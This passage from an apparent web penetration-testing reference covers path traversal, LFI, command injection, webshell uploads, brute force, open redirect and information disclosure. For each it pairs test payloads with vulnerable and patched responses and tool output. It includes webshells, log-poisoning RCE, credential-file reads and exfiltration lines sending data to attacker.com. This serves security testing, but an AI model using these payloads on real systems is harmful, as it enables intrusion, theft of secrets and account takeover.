../../../var/log/nginx/access.log
../../../home/user/.bash_history
../../../home/user/.ssh/id_rsa

# Windows targets
..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts
..\..\..\windows\system.ini
..\..\..\inetpub\wwwroot\web.config
..\..\..\boot.ini
```

#### Encoding Bypass Payloads
```
# URL encoding
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd

# Double URL encoding
%252e%252e%252f%252e%252e%252fetc%252fpasswd

# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%ef%bc%8f..%ef%bc%8fetc/passwd

# Null byte (older PHP < 5.3.4)
../../../etc/passwd%00
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Filter bypass variations
....//....//....//etc/passwd
..../....//....//etc/passwd
..\..\..\..\etc\passwd
..//..//..//etc/passwd
/..%252f..%252f..%252fetc/passwd
```

#### PHP Filter Wrappers (LFI to Source Code)
```
# Read source code as base64
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=config.php
php://filter/read=convert.base64-encode/resource=../../../etc/passwd

# LFI to RCE via log poisoning
# Step 1: Inject PHP into User-Agent
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

# Step 2: Include the log file
?page=../../../var/log/apache2/access.log&cmd=id

# LFI to RCE via PHP wrappers
php://input (POST body contains PHP code)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
```

### 11.2 Vulnerable Response Patterns

#### Path Traversal - /etc/passwd Returned
```http
GET /download?file=../../../etc/passwd HTTP/1.1
Host: target.example.com

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
```

#### LFI - PHP Source via Filter
```http
GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/html

PD9waHAKJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsKJGRiX3VzZXIgPSAncm9vdCc7CiRkYl9w
YXNzID0gJ3NlY3JldFBhc3N3b3JkMTIzISc7CiRkYl9uYW1lID0gJ3dlYmFwcF9kYic7Cj8+

# Base64 decoded:
# <?php
# $db_host = 'localhost';
# $db_user = 'root';
# $db_pass = 'secretPassword123!';
# $db_name = 'webapp_db';
# ?>
```

#### Windows Path Traversal
```http
GET /download?file=..\..\..\..\windows\win.ini HTTP/1.1

HTTP/1.1 200 OK

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```

### 11.3 Safe/Patched Response Patterns

```http
HTTP/1.1 400 Bad Request
Content-Type: application/json

{
    "error": "Invalid file path",
    "message": "Path traversal characters are not allowed"
}
```

```http
HTTP/1.1 404 Not Found
Content-Type: application/json

{
    "error": "File not found"
}
```

Key safe indicators:
- Path traversal sequences stripped/rejected (`../`, `..\`)
- File paths canonicalized and validated against allowed directory
- Allowlist of permitted filenames
- `chroot` / restricted base directory enforced
- PHP `open_basedir` restriction
- Null bytes rejected

### 11.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| File content | Actual OS file content (passwd format, win.ini format) returned | Error message mentioning the file path but not its content |
| Source code | PHP/config source code returned (via filter or direct) | Application returns its own rendered HTML |
| Log inclusion | Log file content with injected User-Agent appears | Log file path mentioned in error but not included |
| Windows | win.ini content or known Windows file content returned | Generic error page |

### 11.5 Tool Output Examples

#### Nikto Path Traversal Detection
```
+ OSVDB-3092: /download?file=../../../../etc/passwd: Path traversal vulnerability detected. The 'file' parameter allows reading system files.
+ /download?file=../../../../etc/passwd: Retrieved file begins with "root:x:0:0" - indicates /etc/passwd file successfully read.
```

#### Nmap http-passwd NSE Script
```
PORT   STATE SERVICE
80/tcp open  http
| http-passwd:
|   VULNERABLE:
|   Directory traversal in web application
|     State: VULNERABLE (Exploitable)
|     Description:
|       The web application allows reading arbitrary files through directory
|       traversal sequences in the 'file' parameter.
|     Disclosure date: 2026-04-09
|     Extra information:
|       /etc/passwd :
|   root:x:0:0:root:/root:/bin/bash
|   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|_  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

---

## 12. Command Injection

### 12.1 Test Payloads

#### Basic Command Separators
```
# Semicolon (Unix)
; id
; whoami
; cat /etc/passwd
;ls -la

# Pipe
| id
| whoami
| cat /etc/passwd

# Ampersand (background execution)
& id
& whoami

# Double ampersand (conditional)
&& id
&& whoami

# Double pipe (OR)
|| id
|| whoami

# Newline
%0a id
%0a whoami

# Backtick substitution
`id`
`whoami`

# Dollar substitution
$(id)
$(whoami)
$(cat /etc/passwd)
```

#### Blind Command Injection (Time-Based)
```
# Ping-based delay
; ping -c 10 127.0.0.1
| ping -c 10 127.0.0.1
& ping -c 10 127.0.0.1
|| ping -c 10 127.0.0.1

# Sleep-based delay
; sleep 10
| sleep 10
$(sleep 10)
`sleep 10`
```

#### Blind Command Injection (OOB Exfiltration)
```
# DNS exfiltration
; nslookup $(whoami).attacker.com
; host $(cat /etc/hostname).attacker.com
| nslookup `id | base64`.attacker.com

# HTTP exfiltration
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/$(cat /etc/passwd | base64)
| curl http://attacker.com/?data=$(id|base64)
```

#### Filter Bypass Payloads
```
# Space bypass using $IFS
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;{cat,/etc/passwd}
;cat</etc/passwd

# Space bypass using tabs
;cat%09/etc/passwd

# Keyword bypass using quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;/b?n/c?t /etc/passwd
;/b??/ca? /etc/passwd

# Keyword bypass using variables
;a]cat;b=/ etc/ passwd;$a$b

# Keyword bypass using encoding
;$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')

# Backslash bypass
;c\at /et\c/pa\ss\wd

# Windows-specific
& dir
& type C:\windows\win.ini
| net user
& whoami
| ipconfig
```

### 12.2 Vulnerable Response Patterns

#### Command Injection - Output Returned
```http
POST /api/network/ping HTTP/1.1
Host: target.example.com
Content-Type: application/json

{"host": "127.0.0.1; id"}

HTTP/1.1 200 OK
Content-Type: application/json

{
    "result": "PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.\n64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.023 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 received, 0% packet loss, time 0ms\nrtt min/avg/max/mdev = 0.023/0.023/0.023/0.000 ms\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
}
```

#### Command Injection - Full /etc/passwd Read
```http
POST /api/dns/lookup HTTP/1.1
Content-Type: application/json

{"domain": "example.com; cat /etc/passwd"}

HTTP/1.1 200 OK

{
    "output": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false\n"
}
```

#### Blind Command Injection - Time Delay
```
# Normal request: ~100ms response time
POST /api/network/ping
{"host": "127.0.0.1"}
Response time: 112ms

# Injected request: ~10s response time
POST /api/network/ping
{"host": "127.0.0.1; sleep 10"}
Response time: 10,134ms

# Confirms blind command injection
```

### 12.3 Safe/Patched Response Patterns

```http
HTTP/1.1 400 Bad Request
Content-Type: application/json

{
    "error": "Invalid input",
    "message": "The hostname contains invalid characters"
}
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

{
    "result": "PING 127.0.0.1; id (could not resolve host)"
}
# The entire input was treated as a hostname, not executed as command
```

Key safe indicators:
- Input validated against allowlist (alphanumeric, dots, hyphens only for hostnames)
- Shell metacharacters rejected or escaped
- Commands executed using array-based APIs (e.g., `subprocess.run(['ping', '-c', '1', host])` not `os.system()`)
- No shell=True in subprocess calls
- Consistent response time regardless of injected sleep commands

### 12.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Output | OS command output (uid, username, file contents) appears in response | Input echoed back but not executed |
| Time-based | Consistent delay matching injected sleep value | Inconsistent delays (server load, network) |
| OOB | DNS/HTTP callback received on attacker server | No callback received |
| Error | OS-level error messages ("sh: command not found") | Application-level error about invalid input |

### 12.5 Tool Output Examples

#### Commix Output (Command Injection Found)
```
    ___   ___    ___ ___  ___ ___ __ __
   /'___\ /'___\ /' __` __`\/' __` __`\/\ \/\ \
  /\ \__//\ \__//\ \/\ \/\ \\ \/\ \/\ \ \ \_\ \
  \ \____\ \____\ \_\ \_\ \_\\_\ \_\ \_\/`____ \
   \/____/\/____/\/_/\/_/\/_/\/_/\/_/\/_/`/___/> \
                                             /\___/
  Automated All-in-One OS Command Injection  \/__/
  Exploitation Tool - v4.0-stable

(+) Testing the (results-based) classic command injection technique... [ SUCCEED ]
(+) The POST parameter 'host' is vulnerable to results-based OS command injection.
    (+) The identified injection type is: Results-based command injection
    (+) The identified injection technique is: Classic
    (+) The identified injection payload is: ;id

    (+) Target's operating system: Linux
    (+) Target's hostname: web-server-01
    (+) Current user: www-data
    (+) Current working directory: /var/www/html

commix(os_shell)> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

commix(os_shell)> uname -a
Linux web-server-01 5.4.0-150-generic #167-Ubuntu SMP Mon Jul 3 17:28:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
```

---

## 13. File Upload Vulnerabilities

### 13.1 Test Payloads

#### Basic Webshell Payloads
```php
# PHP webshell - minimal
<?php system($_GET['cmd']); ?>

# PHP webshell - more functional
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    echo shell_exec($_REQUEST['cmd']);
    echo "</pre>";
}
?>

# PHP one-liner
<?=`$_GET[cmd]`?>

# ASP webshell
<%@ Language=VBScript %>
<%
Dim cmd
cmd = Request("cmd")
Set objShell = Server.CreateObject("WScript.Shell")
Set objExec = objShell.Exec("cmd /c " & cmd)
Response.Write(objExec.StdOut.ReadAll())
%>

# JSP webshell
<% Runtime rt = Runtime.getRuntime(); String[] cmd = {"/bin/sh", "-c", request.getParameter("cmd")}; Process p = rt.exec(cmd); %>
```

#### Extension Bypass Techniques
```
# PHP alternatives
shell.php
shell.phtml
shell.php3
shell.php4
shell.php5
shell.php7
shell.pht
shell.phps
shell.phar

# Double extensions
shell.php.jpg
shell.jpg.php
shell.php.png
shell.php%00.jpg        (null byte - older systems)
shell.php\x00.jpg

# Case variation
shell.PhP
shell.pHP
shell.PHP

# Trailing characters
shell.php.
shell.php..
shell.php%20
shell.php%0a
shell.php;.jpg

# Apache .htaccess upload
# Upload .htaccess with: AddType application/x-httpd-php .l33t
# Then upload shell.l33t

# NTFS alternate data streams (Windows)
shell.asp::$DATA
shell.asp:shell.jpg
```

#### Content-Type / MIME Bypass
```
# Change Content-Type header in multipart upload
Content-Type: image/jpeg         (instead of application/x-httpd-php)
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream
```

#### Magic Bytes / Polyglot Files
```
# GIF header + PHP
GIF89a<?php system($_GET['cmd']); ?>

# JPEG header + PHP (hex)
FF D8 FF E0 <?php system($_GET['cmd']); ?>

# PNG header + PHP (hex)
89 50 4E 47 0D 0A 1A 0A <?php system($_GET['cmd']); ?>

# ExifTool metadata injection
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# Rename to image.php.jpg or upload as-is if server processes metadata
```

### 13.2 Vulnerable Response Patterns

#### Successful Webshell Upload
```http
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

HTTP/1.1 200 OK
Content-Type: application/json

{
    "status": "success",
    "message": "File uploaded successfully",
    "path": "/uploads/shell.php",
    "url": "https://target.example.com/uploads/shell.php"
}
```

#### Webshell Execution
```http
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target.example.com

HTTP/1.1 200 OK
Content-Type: text/html

<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
```

#### Double Extension Bypass
```http
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Boundary--

HTTP/1.1 200 OK
{"status": "success", "path": "/uploads/shell.php.jpg"}

# If Apache processes .php before .jpg:
GET /uploads/shell.php.jpg?cmd=whoami HTTP/1.1
HTTP/1.1 200 OK
www-data
```

### 13.3 Safe/Patched Response Patterns

```http
HTTP/1.1 400 Bad Request
Content-Type: application/json

{
    "error": "Invalid file type",
    "message": "Only .jpg, .png, and .gif files are allowed",
    "allowed_types": ["image/jpeg", "image/png", "image/gif"]
}
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

{
    "status": "success",
    "message": "File uploaded successfully",
    "path": "/uploads/a3f2b8c1-d4e5-6789-abcd-ef0123456789.jpg"
}
# File renamed to random UUID, extension validated, stored outside webroot
```

Key safe indicators:
- File extension validated against strict allowlist (not blocklist)
- Magic bytes / file signature verified
- File renamed to random name (UUID)
- Files stored outside webroot or in non-executable location
- Content-Disposition: attachment header forced on downloads
- Upload directory has no execute permissions
- File size limits enforced

### 13.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Upload success | PHP/ASP file uploaded and accessible at returned URL | File uploaded but stored with non-executable extension or outside webroot |
| Execution | Accessing uploaded file executes code (whoami/id output) | File served as download/plaintext, not executed |
| Extension bypass | Double extension file executed as PHP | Double extension uploaded but served as image |
| Polyglot | File passes image validation AND executes as PHP when accessed | Image validation passes but server doesn't execute PHP in upload directory |

### 13.5 Tool Output Examples

#### Upload_Bypass Tool Output
```
[*] Starting Upload_Bypass v1.0
[*] Target: https://target.example.com/upload
[*] Testing file upload restrictions...

[+] Extension Test Results:
    .php            - BLOCKED (415 Unsupported Media Type)
    .phtml          - UPLOADED (200 OK)
    .php5           - BLOCKED (415 Unsupported Media Type)
    .phar           - UPLOADED (200 OK)
    .php.jpg        - UPLOADED (200 OK)

[+] Content-Type Bypass:
    image/jpeg      - UPLOADED (200 OK) - PHP code executed!
    image/png       - UPLOADED (200 OK) - PHP code executed!

[+] Magic Bytes Bypass:
    GIF89a+PHP      - UPLOADED (200 OK) - PHP code executed!

[!] VULNERABLE: File upload restriction can be bypassed
    Successful bypass: .phtml extension with image/jpeg Content-Type
    Webshell accessible at: /uploads/shell.phtml
```

---

## 14. Rate Limiting / Brute Force

### 14.1 Test Payloads

#### Login Brute Force
```
# Sequential credential testing
POST /login with username=admin&password=password1
POST /login with username=admin&password=password2
POST /login with username=admin&password=password123
POST /login with username=admin&password=admin
POST /login with username=admin&password=123456
...

# Common password lists
# /usr/share/wordlists/rockyou.txt
# /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt
```

#### Rate Limit Bypass Headers
```http
# IP spoofing headers (one per request, rotating values)
X-Forwarded-For: 1.2.3.4
X-Forwarded-For: 1.2.3.5
X-Forwarded-For: 1.2.3.6
X-Originating-IP: 1.2.3.7
X-Remote-IP: 1.2.3.8
X-Remote-Addr: 1.2.3.9
X-Client-IP: 1.2.3.10
X-Real-IP: 1.2.3.11
True-Client-IP: 1.2.3.12
CF-Connecting-IP: 1.2.3.13
```

#### Rate Limit Bypass Techniques
```
# Case variation in endpoint
POST /login
POST /Login
POST /LOGIN
POST /lOgIn

# Path variation
POST /api/v1/login
POST /api/v2/login
POST /api/v1/auth/login
POST /./api/v1/login
POST /api/v1/login/
POST /api/v1/login?dummy=1

# HTTP method switching
POST /login -> blocked
PUT /login -> might work
PATCH /login -> might work

# Add null bytes / special chars to path
POST /login%00
POST /login%20
POST /login%09

# Distributed brute force (IP rotation)
# Use proxy chains, TOR, or cloud functions

# Race condition (parallel requests)
# Send 100 login requests simultaneously before rate limiter updates counter
```

#### API Key / Token Brute Force
```
# API key enumeration
GET /api/data?api_key=test001
GET /api/data?api_key=test002
...

# OTP brute force (4-digit)
POST /verify-otp with otp=0000
POST /verify-otp with otp=0001
...
POST /verify-otp with otp=9999

# Password reset token brute force
GET /reset-password?token=000000
GET /reset-password?token=000001
...
```

### 14.2 Vulnerable Response Patterns

#### No Rate Limiting (All Requests Processed)
```http
# Request 1 (wrong password)
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=wrong1

HTTP/1.1 401 Unauthorized
{"error": "Invalid credentials"}

# Request 100 (wrong password) - no blocking
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=wrong100

HTTP/1.1 401 Unauthorized
{"error": "Invalid credentials"}

# Request 500 (correct password found)
POST /login HTTP/1.1
username=admin&password=admin123

HTTP/1.1 200 OK
Set-Cookie: session=abc123
{"message": "Login successful"}
```

#### Rate Limit Bypass via Headers
```http
# Normal request - rate limited
POST /login HTTP/1.1
X-Forwarded-For: 1.2.3.4

HTTP/1.1 429 Too Many Requests
{"error": "Rate limit exceeded. Try again in 300 seconds."}

# Same request with different header - rate limit bypassed
POST /login HTTP/1.1
X-Forwarded-For: 1.2.3.5

HTTP/1.1 401 Unauthorized
{"error": "Invalid credentials"}
# Rate limit counter reset for "new" IP
```

### 14.3 Safe/Patched Response Patterns

```http
# After 5 failed attempts
HTTP/1.1 429 Too Many Requests
Content-Type: application/json
Retry-After: 300
X-RateLimit-Limit: 5
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1712678400

{
    "error": "Too many login attempts",
    "message": "Account temporarily locked. Try again in 5 minutes.",
    "retry_after": 300
}
```

```http
# Account lockout
HTTP/1.1 403 Forbidden
Content-Type: application/json

{
    "error": "Account locked",
    "message": "Your account has been locked due to multiple failed login attempts. Please contact support or wait 30 minutes."
}
```

Key safe indicators:
- Rate limiting headers present (X-RateLimit-*)
- 429 status code returned after threshold exceeded
- Account lockout after N failed attempts
- Progressive delays (exponential backoff)
- CAPTCHA after N failed attempts
- Rate limiting based on account, not just IP
- X-Forwarded-For and similar headers not trusted blindly

### 14.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| No rate limit | 1000+ requests processed without any blocking | Rate limiting exists but threshold is high (e.g., 100/min) |
| Header bypass | Changing X-Forwarded-For resets rate limit counter | Header ignored, rate limit still enforced |
| Account lockout | No lockout after 100+ failed attempts | Lockout occurs but testing triggered it legitimately |
| Brute force success | Valid credentials discovered through enumeration | Valid credentials known beforehand, testing rate limit only |

### 14.5 Tool Output Examples

#### Hydra Brute Force
```
Hydra v9.5 (c) 2023 by van Hauser/THC

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://target.example.com:443/login:username=admin&password=^PASS^:Invalid credentials:H=Content-Type: application/x-www-form-urlencoded
[STATUS] 1432.00 tries/min, 1432 tries in 00:01h, 14342967 to do in 166:54h, 16 active
[STATUS] 1517.33 tries/min, 4552 tries in 00:03h, 14339847 to do in 157:30h, 16 active
[443][http-post-form] host: target.example.com   login: admin   password: Summer2026!
1 of 1 target successfully completed, 1 valid password found
```

#### Burp Intruder Results
```
Request#  Payload         Status  Length  Time
1         password1       401     143     52ms
2         password123     401     143     48ms
3         admin           401     143     51ms
4         123456          401     143     49ms
5         qwerty          401     143     50ms
...
247       Summer2026!     302     0       55ms    <-- Different status = valid password
```

---

## 15. Open Redirect

### 15.1 Test Payloads

```
# Basic open redirect
?redirect=https://evil.com
?url=https://evil.com
?next=https://evil.com
?return=https://evil.com
?returnTo=https://evil.com
?rurl=https://evil.com
?dest=https://evil.com
?destination=https://evil.com
?redirect_uri=https://evil.com
?redirect_url=https://evil.com
?callback=https://evil.com
?forward=https://evil.com
?target=https://evil.com
?go=https://evil.com
?out=https://evil.com
?view=https://evil.com
?to=https://evil.com
?link=https://evil.com

# Protocol-relative
?redirect=//evil.com
?redirect=///evil.com
?redirect=\\evil.com

# Userinfo trick
?redirect=https://target.example.com@evil.com
?redirect=https://target.example.com%40evil.com

# Subdomain trick
?redirect=https://evil.target.example.com
?redirect=https://target.example.com.evil.com

# URL encoding bypass
?redirect=https:%2F%2Fevil.com
?redirect=https://evil%2Ecom
?redirect=%68%74%74%70%73%3A%2F%2F%65%76%69%6C%2E%63%6F%6D

# Double URL encoding
?redirect=https%253A%252F%252Fevil.com

# Null byte
?redirect=https://target.example.com%00@evil.com

# Path-based
/redirect/https://evil.com
/go/https://evil.com

# CRLF injection for header redirect
?redirect=%0d%0aLocation:%20https://evil.com

# JavaScript protocol (if redirect goes to href)
?redirect=javascript:alert(1)
?redirect=data:text/html,<script>alert(1)</script>

# Slash tricks
?redirect=/\evil.com
?redirect=\/evil.com
?redirect=/\/evil.com
?redirect=/.evil.com
```

### 15.2 Vulnerable Response Patterns

#### Open Redirect - 302 to External Domain
```http
GET /redirect?url=https://evil.com HTTP/1.1
Host: target.example.com

HTTP/1.1 302 Found
Location: https://evil.com
Content-Length: 0
```

#### Open Redirect - Meta Refresh
```http
GET /goto?url=https://evil.com HTTP/1.1
Host: target.example.com

HTTP/1.1 200 OK
Content-Type: text/html

<html>
<head>
<meta http-equiv="refresh" content="0;url=https://evil.com">
</head>
<body>
<p>Redirecting to <a href="https://evil.com">https://evil.com</a>...</p>
</body>
</html>
```

#### Open Redirect - JavaScript
```http
GET /redirect?next=https://evil.com HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/html

<script>
window.location = "https://evil.com";
</script>
```

### 15.3 Safe/Patched Response Patterns

```http
# Redirect only to same domain
GET /redirect?url=https://evil.com HTTP/1.1

HTTP/1.1 400 Bad Request
Content-Type: application/json

{
    "error": "Invalid redirect URL",
    "message": "Redirect to external domains is not allowed"
}
```

```http
# Redirect to allowlisted domain only
GET /redirect?url=https://trusted-partner.com/callback HTTP/1.1

HTTP/1.1 302 Found
Location: https://trusted-partner.com/callback
```

```http
# Relative path only
GET /redirect?url=/dashboard HTTP/1.1

HTTP/1.1 302 Found
Location: /dashboard
```

Key safe indicators:
- Redirect URLs validated against allowlist of trusted domains
- Only relative paths allowed (no scheme/host)
- URL parsed and scheme+host validated (not string matching)
- Reject protocol-relative URLs (`//evil.com`)
- Warning page shown before external redirect

### 15.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Redirect | 302/301/303/307 with Location header pointing to attacker domain | 302 to same domain or allowlisted partner |
| JavaScript | `window.location` set to attacker URL | JavaScript processes URL but adds validation |
| Meta refresh | Meta tag redirects to external domain | Meta tag present but URL is same-domain |
| Bypass | Userinfo/subdomain trick successfully redirects | Bypass attempt blocked, error returned |

### 15.5 Tool Output Examples

#### Burp Suite Open Redirect Finding
```xml
<issue>
  <type>5243392</type>
  <name>Open redirection (reflected)</name>
  <host>https://target.example.com</host>
  <path>/redirect</path>
  <location>/redirect [url parameter]</location>
  <severity>Low</severity>
  <confidence>Firm</confidence>
  <issueDetail>
    The value of the &lt;b&gt;url&lt;/b&gt; request parameter is used to perform a
    redirection. The payload https://evil.com was submitted in the url parameter.
    The application responded with a redirection to https://evil.com.
  </issueDetail>
</issue>
```

---

## 16. Information Disclosure

### 16.1 Test Payloads / Checks

```
# Error triggering
GET /api/nonexistent HTTP/1.1
GET /api/users/'; HTTP/1.1
GET /api/users/-1 HTTP/1.1
GET /api/users/0 HTTP/1.1
GET /api/users/99999999999999 HTTP/1.1
POST /api/users with invalid JSON: {invalid
POST /api/users with wrong types: {"id": "not-a-number"}

# Sensitive file checks
GET /robots.txt HTTP/1.1
GET /sitemap.xml HTTP/1.1
GET /.env HTTP/1.1
GET /.git/HEAD HTTP/1.1
GET /.git/config HTTP/1.1
GET /.svn/entries HTTP/1.1
GET /.DS_Store HTTP/1.1
GET /Thumbs.db HTTP/1.1
GET /crossdomain.xml HTTP/1.1
GET /clientaccesspolicy.xml HTTP/1.1
GET /phpinfo.php HTTP/1.1
GET /info.php HTTP/1.1
GET /test.php HTTP/1.1
GET /elmah.axd HTTP/1.1
GET /trace.axd HTTP/1.1
GET /server-status HTTP/1.1
GET /server-info HTTP/1.1
GET /jmx-console HTTP/1.1
GET /actuator HTTP/1.1
GET /actuator/env HTTP/1.1
GET /actuator/health HTTP/1.1
GET /actuator/configprops HTTP/1.1
GET /api/swagger.json HTTP/1.1
GET /swagger-ui.html HTTP/1.1
GET /api-docs HTTP/1.1
GET /graphql HTTP/1.1 (introspection query)
GET /wp-json/wp/v2/users HTTP/1.1

# Header inspection
# Check response for:
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
X-AspNet-Version: 4.0.30319
X-AspNetMvc-Version: 5.2
X-Generator: WordPress 6.4
Via: proxy-server-01.internal.corp

# Version endpoint checks
GET /version HTTP/1.1
GET /api/version HTTP/1.1
GET /health HTTP/1.1
GET /status HTTP/1.1
```

### 16.2 Vulnerable Response Patterns

#### Stack Trace / Debug Information
```http
GET /api/users/abc HTTP/1.1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html

<h1>Internal Server Error</h1>
<pre>
Traceback (most recent call last):
  File "/var/www/app/views/users.py", line 42, in get_user
    user_id = int(request.args.get('id'))
  File "/var/www/app/models/user.py", line 15, in find_by_id
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  File "/usr/lib/python3/dist-packages/pymysql/cursors.py", line 170, in execute
    result = self._query(query)
psycopg2.errors.InvalidTextRepresentation: invalid input syntax for type integer: "abc"

DETAIL: Database: production_db
Connection: postgresql://dbuser:Str0ngP@ss!@10.0.0.5:5432/production_db
</pre>
```

#### Server Version Disclosure
```http
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
X-AspNet-Version: 4.0.30319
```

#### phpinfo() Exposed
```http
GET /phpinfo.php HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/html

<h1>PHP Version 7.4.3</h1>
<table>
<tr><td>System</td><td>Linux web-01 5.4.0-150-generic</td></tr>
<tr><td>Server API</td><td>Apache 2.0 Handler</td></tr>
<tr><td>Document Root</td><td>/var/www/html</td></tr>
<tr><td>SMTP</td><td>internal-smtp.corp.local</td></tr>
</table>
...
<h2>Environment</h2>
<tr><td>DB_PASSWORD</td><td>SuperSecretPassword123!</td></tr>
<tr><td>API_KEY</td><td>sk-abc123...</td></tr>
...
```

#### Source Code Disclosure
```http
GET /app.py~ HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/plain

#!/usr/bin/env python3
from flask import Flask, request
import pymysql

app = Flask(__name__)
DB_HOST = "10.0.0.5"
DB_USER = "root"
DB_PASS = "productionPassword123!"
DB_NAME = "webapp"

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    # WARNING: SQL injection vulnerability
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    ...
```

#### GraphQL Introspection
```http
POST /graphql HTTP/1.1
Content-Type: application/json

{"query": "{__schema{types{name,fields{name,type{name}}}}}"}

HTTP/1.1 200 OK
{
    "data": {
        "__schema": {
            "types": [
                {
                    "name": "User",
                    "fields": [
                        {"name": "id", "type": {"name": "Int"}},
                        {"name": "username", "type": {"name": "String"}},
                        {"name": "password_hash", "type": {"name": "String"}},
                        {"name": "ssn", "type": {"name": "String"}},
                        {"name": "credit_card", "type": {"name": "String"}},
                        {"name": "api_key", "type": {"name": "String"}}
                    ]
                },
                {
                    "name": "InternalConfig",
                    "fields": [
                        {"name": "db_connection_string", "type": {"name": "String"}},
                        {"name": "aws_secret_key", "type": {"name": "String"}}
                    ]
                }
            ]
        }
    }
}
```

#### WordPress User Enumeration
```http
GET /wp-json/wp/v2/users HTTP/1.1

HTTP/1.1 200 OK
Content-Type: application/json

[
    {"id": 1, "name": "admin", "slug": "admin", "description": "Site Administrator"},
    {"id": 2, "name": "editor1", "slug": "editor1", "description": "Content Editor"},
    {"id": 3, "name": "john.doe", "slug": "john-doe", "description": "Author"}
]
```

### 16.3 Safe/Patched Response Patterns

```http
HTTP/1.1 500 Internal Server Error
Content-Type: application/json

{
    "error": "Internal Server Error",
    "message": "An unexpected error occurred. Please try again later.",
    "request_id": "req_abc123def456"
}
```

```http
HTTP/1.1 200 OK
Server: webserver
Content-Type: text/html
# No version info, no X-Powered-By
```

```http
# phpinfo.php - Not accessible
HTTP/1.1 404 Not Found

# .git/HEAD - Not accessible
HTTP/1.1 403 Forbidden

# GraphQL introspection disabled
HTTP/1.1 200 OK
{
    "errors": [{"message": "GraphQL introspection is disabled"}]
}
```

Key safe indicators:
- Generic error messages without stack traces
- No server version headers (or generic values)
- Debug mode disabled in production
- Sensitive files not accessible from web
- GraphQL introspection disabled in production
